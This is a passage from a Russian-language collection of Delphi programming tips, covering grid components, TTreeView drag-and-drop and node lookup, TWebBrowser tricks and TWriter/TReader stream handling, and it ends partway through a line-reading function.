var abKeyState: array [0..255] of byte; begin GetKeyboardState( Addr( abKeyState[ 0 ] ) ); abKeyState[ VK_NUMLOCK ] := abKeyState[ VK_NUMLOCK ] or $01; SetKeyboardState( Addr( abKeyState[ 0 ] ) ); end; |
TVertGrid — TStringGrid с возможностью заполнения в design-time.
Автор: Дмитрий Логинов
Компонент TVertGrid представляет собой модифицированный TStringGrid.
В стандартный компонент добавлена возможность в режиме Design-time заполнять первую колонку (property Labels) и первую строку (property Titles) грида.
Если набранных строк в Labels больше, чем задано количество строк самого TVertGrid, то они будут автоматически добавлены. Аналогично и с количеством колонок (Titles). При уменьшении строк в свойствах Labels и Titles, количество строк и колонок самого грида не будет уменьшаться.
На скриншоте показано редактирование списка заголовков колонок. Количество строк в Titles это количество заполненных колонок первой строки.
Компонент очень прост и вы можете модифицировать его по своему собственному желанию.
Скачать VertGrid.Zip (1K)
Исходный код компонента:
unit VertGrid;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
Grids, stdctrls;
type
TVertGrid = class(TStringGrid)
protected
{ Protected declarations }
procedure SetLines(Value: TStrings);
function GetLines: TStrings;
procedure SetTitles(Value: TStrings);
function GetTitles: TStrings;
public
constructor Create(AOwner: TComponent); override;
published
// Первая колонка
property Labels: TStrings read GetLines write SetLines;
// Первая строка
property Titles: TStrings read GetTitles write SetTitles;
end;
procedure Register;
implementation
procedure Register;
begin
RegisterComponents('Samples', [TVertGrid]);
end;
constructor TVertGrid.Create(AOwner: TComponent);
begin
inherited Create(AOwner);
ColCount := 2;
DefaultRowHeight := 16;
end;
procedure TVertGrid.SetLines(Value: TStrings);
begin
if Value.Count > RowCount then
RowCount := Value.Count;
Cols[0].Assign(Value);
end;
procedure TVertGrid.SetTitles(Value: TStrings);
begin
if Value.Count > ColCount then
ColCount := Value.Count;
Rows[0].Assign(Value);
end;
function TVertGrid.GetLines: TStrings;
begin
result := Cols[0];
end;
function TVertGrid.GetTitles: TStrings;
begin
result := Rows[0];
end;
end.
|
Отключить подсказки для TTreeView.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
{
If you have installed the Internet Explorer 4.0 or high, in TTreeView component
always displaying a hint for cutted items. It's useful but sometimes prevents and
irritates (at least, me). But there is a simple way to switch off this feature:
}
procedure TForm1.FormShow(Sender: TObject);
const
TVS_NOTOOLTIPS = $0080;
begin
SetWindowLong(Treeview1.Handle, GWL_STYLE,
GetWindowLong(TreeView1.Handle, GWL_STYLE) xor TVS_NOTOOLTIPS);
end;
Как реализовать Drag and Drop в TTreeView.
Автор: Васильев Василий.
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Controls, Forms,
Dialogs, StdCtrls, ComCtrls;
type
TForm1 = class(TForm)
TreeView1: TTreeView;
Label1: TLabel;
procedure TreeView1DragDrop(Sender, Source: TObject; X, Y: Integer);
procedure TreeView1DragOver(Sender, Source: TObject; X, Y: Integer;
State: TDragState; var Accept: Boolean);
private
{ Private declarations }
procedure MoveNode(TargetNode, SourceNode: TTreeNode);
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
//
// Procedure which will move node and its subnodes
//
procedure TForm1.MoveNode(TargetNode, SourceNode: TTreeNode);
var
nodeTmp: TTreeNode;
i: Integer;
begin
with TreeView1 do
begin
nodeTmp := Items.AddChild(TargetNode, SourceNode.Text);
for i := 0 to SourceNode.Count - 1 do
begin
MoveNode(nodeTmp, SourceNode.Item[i]);
end;
end;
end;
procedure TForm1.TreeView1DragDrop(Sender, Source: TObject; X, Y: Integer);
var
TargetNode, SourceNode: TTreeNode;
begin
with TreeView1 do
begin
TargetNode := GetNodeAt(X, Y); // Get target node
SourceNode := Selected;
if (TargetNode = nil) then
begin
EndDrag(False);
Exit;
end;
MoveNode(TargetNode, SourceNode);
SourceNode.Free;
end;
end;
procedure TForm1.TreeView1DragOver(Sender, Source: TObject; X, Y: Integer;
State: TDragState; var Accept: Boolean);
begin
if (Sender = TreeView1) then // If TRUE than accept the draged item
begin
Accept := True;
end;
end;
end.
Перенос элементов в TTreeView.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Controls, Forms,
Dialogs, StdCtrls, ComCtrls;
type
TForm1 = class(TForm)
TreeView1: TTreeView;
Label1: TLabel;
procedure TreeView1DragDrop(Sender, Source: TObject; X, Y: Integer);
procedure TreeView1DragOver(Sender, Source: TObject; X, Y: Integer;
State: TDragState; var Accept: Boolean);
private
{ Private declarations }
Procedure MoveNode(TargetNode, SourceNode : TTreeNode);
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
//
// Procedure which will move node and its subnodes
//
Procedure TForm1.MoveNode(TargetNode, SourceNode : TTreeNode);
var
nodeTmp : TTreeNode;
i : Integer;
begin
with TreeView1 do
begin
nodeTmp := Items.AddChild(TargetNode,SourceNode.Text);
for i := 0 to SourceNode.Count -1 do
begin
MoveNode(nodeTmp,SourceNode.Item[i]);
end;
end;
end;
procedure TForm1.TreeView1DragDrop(Sender, Source: TObject; X, Y: Integer);
var
TargetNode, SourceNode : TTreeNode;
begin
with TreeView1 do
begin
TargetNode := GetNodeAt(X,Y); // Get target node
SourceNode := Selected;
if (TargetNode = nil) then
begin
EndDrag(False);
Exit;
end;
MoveNode(TargetNode,SourceNode);
SourceNode.Free;
end;
end;
procedure TForm1.TreeView1DragOver(Sender, Source: TObject; X, Y: Integer;
State: TDragState; var Accept: Boolean);
begin
if (Sender = TreeView1) then // If TRUE than accept the draged item
begin
Accept := True;
end;
end;
end.
Прокручивать TTreeView во время перемещения.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
procedure TForm1.TreeView1DragOver(Sender, Source: TObject; X, Y: Integer;
State: TDragState; var Accept: Boolean);
begin
if (y < 15) then {On the upper edge - should scroll up }
SendMessage(TreeView1.Handle, WM_VSCROLL, SB_LINEUP, 0)
else if (TreeView1.Height - y < 15) then { On the lower edge - should scroll down }
SendMessage(TreeView1.Handle, WM_VSCROLL, SB_LINEDOWN, 0);
end;
Получение узла в TTreeView по пути заголовков.
Автор: Lipskiy WEB-сайт: http://delphibase.endimus.com
{ **** UBPFD *********** by delphibase.endimus.com ****
>> Получение узла в TreeView по пути заголовков
Функция выдает узел TTreeNode из дерева TreeView, находящийся по пути,
указанному в Path, в котором разделителем уровней является символ Separator.
Если узел не найден - выдается nil.
Ограничение - заголовки узлов дерева не должны содержать символа Separator.
Зависимости: ComCtrls, Classes, SysUtils
Автор: lipskiy, lipskiy@mail.ru, ICQ:51219290, Санкт-Петербург
Copyright: Собственное написание (lipskiy)
Дата: 26 июня 2002 г.
***************************************************** }
function GetNodeInPath(Path: string; Separator: char; TreeView: TTreeView):
TTreeNode;
var
List: TStringList;
Node: TTreeNode;
i: integer;
s: string;
begin
Result := nil;
if (TreeView = nil) or (TreeView.Items.Count = 0) or (Path = '') or (Separator
= '') then
exit;
List := TStringList.Create;
// Меняем сепаратор на первод строки
s := StringReplace(Path, Separator, #13#10,[rfReplaceAll]);
// Получаем список уровней
List.Text := s;
// Начинаем с нулевой ноды дерева
Node := TreeView.Items[0];
// Проходим по всему списку уровней пути
for i := 0 to List.Count - 1 do
begin
// Ищем имя ноды на текущем уровне
while (Node <> nil) and (Node.Text <> List[i]) do
Node := Node.getNextSibling;
// Нода не найдена
if Node = nil then
break;
// Переходим на уровень ниже
if i < List.Count - 1 then
Node := Node.getFirstChild;
end;
List.Free;
Result := Node;
end;
// Пример использования:
procedure TForm1.Button1Click(Sender: TObject);
begin
TreeView1.Selected := GetNodeInPath('Каталог\Подкаталог', '\', TreeView1);
end;
Искать узел TTreeView через его свойство Text.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
// Search a TreeItem through its Text property
// Return value is a TreeNodeObject
// TreeItem uber die TextEigenschaft suchen
// Der Ruckgabewert der Function ist ein TreeNodeObject.
function Form1.TreeItemSearch(TV: TTreeView; SucheItem: string): TTreeNode;
var
i: Integer;
iItem: string;
begin
if (TV = nil) or (SucheItem = '') then Exit;
for i := 0 to TV.Items.Count - 1 do
begin
iItem := TV.Items[i].Text;
if SucheItem = iItem then
begin
Result := TV.Items[i];
Exit;
end
else
begin
Result := nil;
end;
end;
end;
// Example: Search for Wasserfall in TreeView1 and select item
// Beispiel: Sucht in TreeView1 das
// Item mit der Beschriftung >Wasserfall< u. selectiert es;
procedure TForm1.Button1Click(Sender: TObject);
var
Node: TTreeNode;
begin
//either - entweder so
Node := TreeItemSuchen(TreeView1, 'Wasserfall');
TreeView1.Selected := Node;
//or - oder so
TreeView1.Selected := TreeItemSuchen(TreeView1, 'Wasserfall ');
end;
Выделять узел TTreeView правой кнопкой мыши.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
procedure TForm1.TreeView1ContextPopup(Sender: TObject; MousePos: TPoint;
var Handled: Boolean);
var
tmpNode: TTreeNode;
begin
tmpNode := (Sender as TTreeView).GetNodeAt(MousePos.X, MousePos.Y);
if tmpNode <> nil then
TTreeView(Sender).Selected := tmpNode;
end;
Получение пути заголовков к узлу в TTreeView.
Автор: Lipskiy WEB-сайт: http://delphibase.endimus.com
{ **** UBPFD *********** by delphibase.endimus.com ****
>> Получение пути заголовков к узлу в TreeView
Функция выдает путь к указанному узлу (к ноде) в TreeView
в виде строки заголовков узлов, разделенных символом Separator.
Зависимости: ComCtrls
Автор: lipskiy, lipskiy@mail.ru, ICQ:51219290, Санкт-Петербург
Copyright: Собственное написание (lipskiy)
Дата: 02 мая 2002 г.
***************************************************** }
function GetPathToNode(Node: TTreeNode; Separator: Char): string;
begin
Result := '';
if Node = nil then
exit;
while Node <> nil do
begin
Result := Node.Text + Separator + Result;
Node := Node.Parent;
end;
Delete(Result, length(Result), 1);
end;
Копировать нижние узлы TTreeView во второй TTreeView.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
type
{: Callback to use to copy the data of a treenode when the
node itself is copied by CopySubtree.
@param oldnode is the old node
@param newnode is the new node
@Desc Use a callback of this type to implement your own algorithm
for a node copy. The default just uses the Assign method, which
produces a shallow copy of the nodes Data property. }
TCopyDataProc = procedure(oldnode, newnode : TTreenode);
{: The default operation is to do a shallow copy of the node, via
Assign. }
procedure DefaultCopyDataProc(oldnode, newnode : TTreenode);
begin
newnode.Assign(oldnode);
end;
{-- CopySubtree
-------------------------------------------------------}
{: Copies the source node with all child nodes to the target treeview.
@Param sourcenode is the node to copy
@Param target is the treeview to insert the copied nodes into
@Param targetnode is the node to insert the copy under, can be nil to
make the copy a top-level node.
@Param CopyProc is the (optional) callback to use to copy a node.
If Nil is passed for this parameter theDefaultCopyDataProc will be
used.
@Precondition sourcenode <> nil, target <> nil, targetnode is either
nil or a node of target
@Raises Exception if targetnode happens to be in the subtree rooted in
sourcenode. Handling that special case is rather complicated, so we
simply refuse to do it at the moment.
}{ Created 2003-04-09 by P. Below -----------------------------------------------------------------------
}
procedure CopySubtree(sourcenode : TTreenode; target : TTreeview;
targetnode : TTreenode; CopyProc : TCopyDataProc = nil);
var
anchor : TTreenode;
child : TTreenode;
begin { CopySubtree }
Assert(Assigned(sourcenode),
'CopySubtree:sourcenode cannot be nil');
Assert(Assigned(target),
'CopySubtree: target treeview cannot be nil');
Assert((targetnode = nil) or (targetnode.TreeView = target),
'CopySubtree: targetnode has to be a node in the target treeview.');
if (sourcenode.TreeView = target) and
(targetnode.HasAsParent(sourcenode) or (sourcenode =
targetnode)) then
raise Exception.Create('CopySubtree cannot copy a subtree to one of the ' +
'subtrees nodes.');
if not Assigned(CopyProc) then
CopyProc := DefaultCopyDataProc;
anchor := target.Items.AddChild(targetnode, sourcenode.Text);
CopyProc(sourcenode, anchor);
child := sourcenode.GetFirstChild;
while Assigned(child) do
begin
CopySubtree(child, target, anchor, CopyProc);
child := child.getNextSibling;
end; { While }
end; { CopySubtree }
procedure TForm1.Button1Click(Sender : TObject);
begin
if assigned(treeview1.selected) then
CopySubtree(treeview1.selected, treeview2, nil);
end;
Добавить текущую страницу TWebBrowser в Избранное.
| Ответ в окне браузера: ты ответа не дождешься, глупый юзер, я не твой! |
// You need: 1 TEdit, 2 TButtons, 1 TWebbrowser
const
NotAllowed: set of Char = ['"'] + ['/'] + ['\'] + ['?'] + [':'] + ['*'] +
['<'] + ['>'] + ['|'];
implementation
{$R *.DFM}
function Load(Path, Key: string): string;
var
Reg: TRegistry;
begin
Reg := TRegistry.Create;
try
Reg.RootKey := HKEY_CURRENT_USER;
Reg.OpenKey(Path, False);
try
Result := Reg.ReadString(Key);
except
Result := '';
end;
Reg.CloseKey;
finally
Reg.Free;
end;
end;
function WinDir: string;
var
WinDir: PChar;
begin
WinDir := StrAlloc(MAX_PATH);
GetWindowsDirectory(WinDir, MAX_PATH);
Result := string(WinDir);
if Result[Length(Result)] <> '\' then
Result := Result + '\';
StrDispose(WinDir);
end;
function GetSysDir: string;
var
dir: array [0..MAX_PATH] of Char;
begin
GetSystemDirectory(dir, MAX_PATH);
Result := StrPas(dir);
end;
// Navigate to a page
procedure TForm1.Button1Click(Sender: TObject);
begin
Webbrowser1.Navigate(edit1.Text);
end;
// Add the current page to the favorites
procedure TForm1.Button2Click(Sender: TObject);
var
url: TStringList;
fav: string;
title, b: string;
i: Integer;
c: Char;
begin
fav := Load('Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders','Favorites');
url := TStringList.Create;
try
url.Add('[InternetShortcut]');
url.Add('URL=' + webbrowser1.LocationURL);
url.Add('WorkingDirectory=' + WinDir());
url.Add('IconIndex=0');
url.Add('ShowCommand=7');
url.Add('IconFile=' + GetSysDir() + '\url.dll');
title := Webbrowser1.LocationName;
b := '';
for i := 1 to Length(title) do
begin
c := title[i];
if not (c in NotAllowed) then
begin
b := b + Webbrowser1.LocationName[i];
end;
end;
url.SaveToFile(fav + '\' + b + '.url');
finally
url.Free;
end;
end;
end.
|
Как в TWEBBrowser организовать изменение размера шрифта.
procedure TWebBrowserXXX.SetFontSize(nSize: OleVariant);
begin
if (nSize >= 0) and (nSize <= 4) then
ExecWB(OLECMDID_ZOOM, OLECMDEXECOPT_DONTPROMPTUSER, nSize)
end;
|
Заменить рисунки в TWEBBrowser.
| Сидит на Пр. Ленина студентка и играет на баяне. Перед ней табличка: "Помогите бедной студентке на интернет." |
procedure TForm1.Button1Click(Sender: TObject);
var
li: Word;
begin
// Loop through all images of a TWebbrowser
// Schleife ььег alle Bilder im Webbrowser
for li := 0 to WebBrowser1.OleObject.Document.Images.Length - 1 do
// Exchange image with an own image
// Austauschen der Bilder im webbrowser - durch 'MyImage.gif'
WebBrowser1.OleObject.Document.Images.Item(0).Src := 'c:\MyImage.gif';
end;
|
TWinControl.Caption. Теряется маленькая русская буква я.
Автор: Kuznetsov Alexey.
Описание глюка: Создаешь новый проект; кидаешь на форму TGroupBox; в ObjectInspectore выбираешь свойство Caption; изменяшь его на: я (обязательно маленькая!!!) или на любую строку которая начинается с я; запускаешь на выполнение; при выполении у меня на TGroupBox-е не было никакого Caption;Куда-то он теряет Caption если он начинается с маленькой "я"... Этот глюк будет наблюдаться у всех компонент, включая TForm, которые наследуются от TWinControl.
Причем этот глюк можно поймать, и не запуская проект на выполнение. Делаем так: View Form as Text View Text as Form и вуаля: Caption(ы) который начинался с маленькой буквы "я", ушел в гору... Видимо, что то в механизме чтения из dfm не переварило этой буковки. Проверено на 3-х разных компьютерах. КОММЕНТАРИЙ Проверено (D5, NT4, W2K). Выяснилось следующее. Проблема имеет место быть только под Windows 2000 (возможно, по наследству осталась и в Windows XP). Анализ содержимого exe-файла тестового примера (компилировалось под W2K) показал, что символ "я" в Caption присутствует. Отладка показала, что исчезновение происходит при вызове функции API CreateWindowEx, один из параметров которой - Caption, содержащий первым символом русскую "я" (код $FF в кодировке Win1251). Очевидно, ошибка кроется в недрах подсистемы Win32 операционки Windows 2000. Комментарий от SHKoder'aПри большом желании это можно победить так:
procedure TForm1.FormCreate(Sender: TObject); begin GroupBox1.Caption := 'я'; GroupBox2.Caption := #1103; end;
Но глюк конешно есть и в WinXP и в Win2K3, в Delphi6 и Delphi7.
Мерцание формы.
Автор: Jeff Johnson Как бы это осуществить рисование в окне без его дурацкого мерцания и без помощи создания виртуального изображения в памяти? WM_SETREDRAW здесь поможет?Попробуйте этот код. Даже если некоторые компоненты имеют пару BeginUpdate / EndUpdate, то для таких компонентов, как TTreeView, интенсивное рисование может послужить причиной перемещения полосы прокрутки и появления других "барабашек". В таких ситуаций вместо дескриптора элемента управления используйте родительский дескриптор.
procedure BeginScreenUpdate(hwnd: THandle);
begin
if (hwnd = 0) then
hwnd := Application.MainForm.Handle;
SendMessage(hwnd, WM_SETREDRAW, 0, 0);
end;
procedure EndScreenUpdate(hwnd: THandle; erase: Boolean);
begin
if (hwnd = 0) then
hwnd := Application.MainForm.Handle;
SendMessage(hwnd, WM_SETREDRAW, 1, 0);
RedrawWindow(hwnd, nil, 0, DW_FRAME + RDW_INVALIDATE +
RDW_ALLCHILDREN + RDW_NOINTERNALPAINT);
if (erase) then
Windows.InvalidateRect(hwnd, nil, True);
end;
|
Две колонки в DBLookupComboBox.
Попробуйте использовать что-то типа этого:
DBLookupCombo1.LookupDisplay := 'Company;City;Country'; |
Т.е., для того, чтобы выводить более одного поля, разделите имя каждого поля точкой с запятой.
Drag and Drop для двух компонентов TOutline.
Автор: Lloyd Linklater (Sysop) (Delphi Technical Support).
unit Unit1;
interface
uses
SysUtils, WinTypes, WinProcs, Messages, Classes, Graphics, Controls,
Forms, Dialogs, Grids, Outline;
type
TForm1 = class(TForm)
Outline1: TOutline;
Outline2: TOutline;
procedure OutlineDragDrop(Sender, Source: TObject; X, Y: Integer);
procedure OutlineMouseDown(Sender: TObject; Button: TMouseButton;
Shift: TShiftState; X, Y: Integer);
procedure OutlineDragOver(Sender, Source: TObject; X, Y: Integer;
State: TDragState; var Accept: Boolean);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.DFM}
procedure TForm1.OutlineDragDrop(Sender, Source: TObject; X, Y: Integer);
begin
with Sender as TOutline do
begin
AddChild(GetItem(x, y),
TOutline(Source).Items[TOutline(Source).SelectedItem].Text);
end;
end;
procedure TForm1.OutlineMouseDown(Sender: TObject; Button: TMouseButton;
Shift: TShiftState; X, Y: Integer);
begin
if Button = mbLeft then
with Sender as TOutline do
begin
if GetItem(x, y) >= 0 then
BeginDrag(False);
end;
end;
procedure TForm1.OutlineDragOver(Sender, Source: TObject; X, Y: Integer;
State: TDragState; var Accept: Boolean);
begin
if (Source is TOutline) and (TOutline(Source).GetItem(x, y) <>
TOutline(Source).SelectedItem) then
Accept := True
else
Accept := False;
end;
end.
|
Компонет TWrapGrid, осуществляющий перенос текста в TStringGrid.
Я наконец нашел время и создал заказной компонент TWrapGrid, функционально идентичный TStringGrid, но умеющий переносить текст в ячейках. Пока это бета-версия, поэтому поэкспериментируйте с ним, и в случае наличия каких-либо замечаний или предложений не забудьте уведомить об этом меня. При использовании компонента не забывайте про RowHeights (или DefaultRowHeight), т.к. при переносе текста потребуется отобразить несколько строк. Для использования скопируйте код в модуль, сохраните его с именем 'Wrapgrid.PAS' и следуйте за инструкциями, расположенными в верхней части кода.Присылайте свой комментарии и пожелания. Вот код:
{ Код заказного компонента для Delphi.
Позволяет переносить текст в TStringGrid, отсюда и его имя - TWrapGrid.
Автор Luis J. de la Rosa.
E-mail: delarosa@ix.netcom.com
Вы свободны в использовании, распространении и улучшении кода.
Для использования: Выберите в Delphi пункты меню 'Options' - 'Install Components'.
Нажмите 'Add'.
Найдите и выберите файл с именем 'Wrapgrid.PAS'.
Нажмите 'OK'.
После этого вы увидете компонент во вкладке "Samples" палитры компонентов
Delphi.
После этого вы можете использовать компонент вместо стандартного TStringGrid.
Пожалуйста шлите любые комментарии и пожелания на адрес delarosa@ix.netcom.com.
Успехов!
Несколько дополнительных замечаний по коду:
Методы Create и DrawCell были перекрыты. Everything else should
behave just like a TStringGrid.
The Create sets the DefaultDrawing to False, so you don't need to.
Also, I am using the pure block emulation style of programming, making my
code easier to read.
}
unit Wrapgrid;
interface
uses
SysUtils, WinTypes, WinProcs, Messages, Classes, Graphics, Controls,
Forms, Dialogs, Grids;
type
TWrapGrid = class(TStringGrid)
private
{ Private declarations }
protected
{ Protected declarations }
{ Процедура DrawCell осуществляет перенос текста в ячейке }
procedure DrawCell(ACol, ARow: Longint; ARect: TRect;
AState: TGridDrawState); override;
public
{ Public declarations }
{ Процедура Create перекрывается для того, чтобы использовать процедуру DrawCell
по умолчанию }
constructor Create(AOwner: TComponent); override;
published
{ Published declarations }
end;
procedure Register;
implementation
constructor TWrapGrid.Create(AOwner: TComponent);
begin
{ Создаем TStringGrid }
inherited Create(AOwner);
{ Заставляем компонент перерисовываться нашей процедурой по умолчанию DrawCell }
DefaultDrawing := FALSE;
end;
{ Процедура DrawCell осуществляет перенос текста в ячейке }
procedure TWrapGrid.DrawCell(ACol, ARow: Longint; ARect: TRect;
AState: TGridDrawState);
var
Sentence, { Выводимый текст }
CurWord: string; { Текущее выводимое слово }
SpacePos, { Позиция первого пробела }
CurX, { Х-координата 'курсора' }
CurY: Integer; { Y-координата 'курсора' }
EndOfSentence: Boolean; { Величина, указывающая на заполненность ячейки }
begin
{ Инициализируем шрифт, чтобы он был управляющим шрифтом }
Canvas.Font := Font;
with Canvas do
begin
{ Если это фиксированная ячейка, тогда используем фиксированный цвет }
if gdFixed in AState then
begin
Pen.Color := FixedColor;
Brush.Color := FixedColor;
end
{ в противном случае используем нормальный цвет }
else
begin
Pen.Color := Color;
Brush.Color := Color;
end;
{ Рисуем подложку цветом ячейки }
Rectangle(ARect.Left, ARect.Top, ARect.Right, ARect.Bottom);
end;
{ Начинаем рисование с верхнего левого угла ячейки }
CurX := ARect.Left;
CurY := ARect.Top;
{ Здесь мы получаем содержание ячейки }
Sentence := Cells[ACol, ARow];
{ для каждого слова ячейки }
EndOfSentence := FALSE;
while (not EndOfSentence) do
begin
{ для получения следующего слова ищем пробел }
SpacePos := Pos(' ', Sentence);
if SpacePos > 0 then
begin
{ получаем текущее слово плюс пробел }
CurWord := Copy(Sentence, 0, SpacePos);
{ получаем остальную часть предложения }
Sentence := Copy(Sentence, SpacePos + 1, Length(Sentence) - SpacePos);
end
else
begin
{ это - последнее слово в предложении }
EndOfSentence := TRUE;
CurWord := Sentence;
end;
with Canvas do
begin
{ если текст выходит за границы ячейки }
if (TextWidth(CurWord) + CurX) > ARect.Right then
begin
{ переносим на следующую строку }
CurY := CurY + TextHeight(CurWord);
CurX := ARect.Left;
end;
{ выводим слово }
TextOut(CurX, CurY, CurWord);
{ увеличиваем X-координату курсора }
CurX := CurX + TextWidth(CurWord);
end;
end;
end;
procedure Register;
begin
{ Вы можете изменить закладку Samples на любую другую
палитре компонентов Delphi }
RegisterComponents('Samples', [TWrapGrid]);
end;
end.
|
Пример TWriter и TReader.
Вот что вы должны сделать для того, чтобы с помощью TWriter/TReader записать строку в поток. До сих пор для простоты я использую TMemoryStream.Ключевыми являются вызовы Read/WriteListBegin и Read/WriteListEnd. Без них вы получите исключение.
procedure TForm1.Button1Click(Sender: TObject); var sWrite, sRead: string[25]; MyStream: TMemoryStream; MyWriter: TWriter; MyReader: TReader; begin MyStream := TMemoryStream.Create; MyStream.SetSize(4096); MyWriter := TWriter.Create(MyStream, 4096); sWrite := 'sWriteContents'; MyWriter.WriteListBegin; MyWriter.WriteString(sWrite); MyWriter.WriteListEnd; MyWriter.free; MyStream.Seek(0, 0); MyReader := TReader.Create(MyStream, 4096); MyReader.ReadListBegin; sRead := MyReader.ReadString; MyReader.ReadListEnd; MyReader.free; Label1.Caption := sRead; MyStream.free; end; |
TWriter и TReader - читаем и пишем в файл.
unit MsForm;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls;
type
TForm1 = class(TForm)
ButtonReadText: TButton;
ButtonWriteLines: TButton;
OpenDialog1: TOpenDialog;
SaveDialog1: TSaveDialog;
Memo1: TMemo;
ButtonReadLines: TButton;
ButtonWriteRev: TButton;
ButtonMoveLines: TButton;
procedure ButtonReadTextClick(Sender: TObject);
procedure ButtonWriteLinesClick(Sender: TObject);
procedure ButtonReadLinesClick(Sender: TObject);
procedure ButtonWriteRevClick(Sender: TObject);
procedure ButtonMoveLinesClick(Sender: TObject);
end;
var
Form1: TForm1;
implementation
{$R *.DFM}
procedure TForm1.ButtonReadTextClick(Sender: TObject);
var
Str1: TFileStream;
I: Integer;
begin
OpenDialog1.Filter :=
'Text File (*.txt)|*.txt|Pascal File (*.pas)|*.pas|' +
'ReadWrite File (*.rwt)|*.rwt|Any file (*.*)|*.*';
OpenDialog1.DefaultExt := 'txt';
if OpenDialog1.Execute then
begin
Str1 := TFileStream.Create (
OpenDialog1.Filename, fmOpenRead);
try
Memo1.Lines.LoadFromStream (Str1);
finally
Str1.Free;
end;
// enable all buttons
for I := 0 to ControlCount - 1 do
if Controls [I] is TButton then
TButton (Controls [I]).Enabled := True;
end;
end;
procedure TForm1.ButtonWriteLinesClick(Sender: TObject);
var
Str1: TFileStream;
Writer1: TWriter;
I: Integer;
begin
SaveDialog1.Filter :=
'Read Write file (*.rwf)|*.rwf|Any file (*.*)|*.*';
SaveDialog1.FilterIndex := 1;
SaveDialog1.DefaultExt := 'rwt';
if SaveDialog1.Execute then
begin
Str1 := TFileStream.Create (
SaveDialog1.FileName, fmCreate or fmOpenWrite);
Writer1 := TWriter.Create (Str1, 1024);
try
Writer1.WriteListBegin;
for I := 0 to Memo1.Lines.Count - 1 do
Writer1.WriteString (Memo1.Lines [I]);
Writer1.WriteListEnd;
finally
Writer1.Free;
Str1.Free;
end;
end;
end;
procedure TForm1.ButtonReadLinesClick(Sender: TObject);
var
Str1: TFileStream;
Reader1: TReader;
I: Integer;
begin
OpenDialog1.Filter :=
'Read Write file (*.rwf)|*.rwf|Any file (*.*)|*.*';
OpenDialog1.FilterIndex := 1;
OpenDialog1.DefaultExt := 'rwt';
if OpenDialog1.Execute then
begin
Str1 := TFileStream.Create (
OpenDialog1.Filename, fmOpenRead);
Reader1 := TReader.Create (Str1, 1024);
try
Reader1.ReadListBegin;
Memo1.Lines.Clear;
while not Reader1.EndOfList do
begin
Memo1.Lines.Add (Reader1.ReadString);
Application.ProcessMessages;
end;
Reader1.ReadListEnd;
finally
Reader1.Free;
Str1.Free;
end;
// enable all buttons
for I := 0 to ControlCount - 1 do
if Controls [I] is TButton then
TButton (Controls [I]).Enabled := True;
end;
end;
procedure TForm1.ButtonWriteRevClick(Sender: TObject);
var
Str1: TFileStream;
Writer1: TWriter;
I: Integer;
begin
SaveDialog1.Filter :=
'Read Write Test file (*.rwt)|*.rwt|Any file (*.*)';
SaveDialog1.DefaultExt := 'rwt';
if SaveDialog1.Execute then
begin
Str1 := TFileStream.Create (
SaveDialog1.FileName, fmCreate or fmOpenWrite);
Writer1 := TWriter.Create (Str1, 1024);
try
Writer1.WriteListBegin;
for I := Memo1.Lines.Count - 1 downto 0 do
Writer1.WriteString (Memo1.Lines [I]);
Writer1.WriteListEnd;
finally
Writer1.Free;
Str1.Free;
end;
end;
end;
procedure TForm1.ButtonMoveLinesClick(Sender: TObject);
var
MemStr1: TMemoryStream;
Writer1: TWriter;
Reader1: TReader;
I: Integer;
begin
MemStr1 := TMemoryStream.Create;
try
Writer1 := TWriter.Create (MemStr1, 1024);
try
Writer1.WriteListBegin;
Randomize;
while Memo1.Lines.Count > 0 do
begin
I := Random (Memo1.Lines.Count);
Writer1.WriteString (Memo1.Lines [I]);
Memo1.Lines.Delete (I);
Application.ProcessMessages;
end;
Writer1.WriteListEnd;
finally
Writer1.Free;
end;
// reset, rewind, move back
// to the beginning of the stream
MemStr1.Seek (0, soFromBeginning);
Reader1 := TReader.Create (MemStr1, 1024);
try
Reader1.ReadListBegin;
while not Reader1.EndOfList do
begin
Memo1.Lines.Add (Reader1.ReadString);
Application.ProcessMessages;
end;
Reader1.ReadListEnd;
finally
Reader1.Free;
end;
finally
memStr1.Free;
end;
end;
end.
|
Загрузить весь проект
Прочитать строку под нужным номером из текстового файла.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
{
Abstract:
Im trying to write a function that, given a FileName and a line number
returns the entire line in a string.
}
{
The following technique is useful for high-speed processing.
The sample program file, save it with a .pas or .dpr filename and compile it.
}
{$APPTYPE CONSOLE}
uses SysUtils, Classes;
function GrabLine(const AFileName: string; ALine: Integer): string;
var
fs: TFileStream;
buf: packed array[0..4095] of Char;
bufRead: Integer;
bufPos: PChar;
lineStart: PChar;
tmp: string;
begin
fs := TFileStream.Create(AFileName, fmOpenRead);
try
Dec(ALine);
bufRead := 0;
bufPos := nil;
{ read the first line specially }
if ALine = 0 then
begin
bufRead := fs.Read(buf, SizeOf(buf));
if bufRead = 0 then
raise Exception.Create('Line not found');
bufPos := buf;
end else
while ALine > 0 do
begin
{ read in a buffer }
bufRead := fs.Read(buf, SizeOf(buf));
if bufRead = 0 then
raise Exception.Create('Line not found');
bufPos := buf;
while (bufRead > 0) and (ALine > 0) do
begin
if bufPos^ = #10 then
Dec(ALine);
Inc(bufPos);
Dec(bufRead);
end;
end;
{ Found the beginning of the line at bufPos... scan for end.
2 cases:
1) we'll find it before the end of this buffer
2) it'll go beyond this buffer and into n more buffers }
lineStart := bufPos;
while (bufRead > 0) and (bufPos^ <> #10) do
begin
Inc(bufPos);
Dec(bufRead);
end;
{ if bufRead is positive, we'll have found the end and we can leave. }
SetString(Result, lineStart, bufPos - lineStart);
{ determine if there are more buffers to process }
while bufRead = 0 do
begin
bufRead := fs.Read(buf, SizeOf(buf));
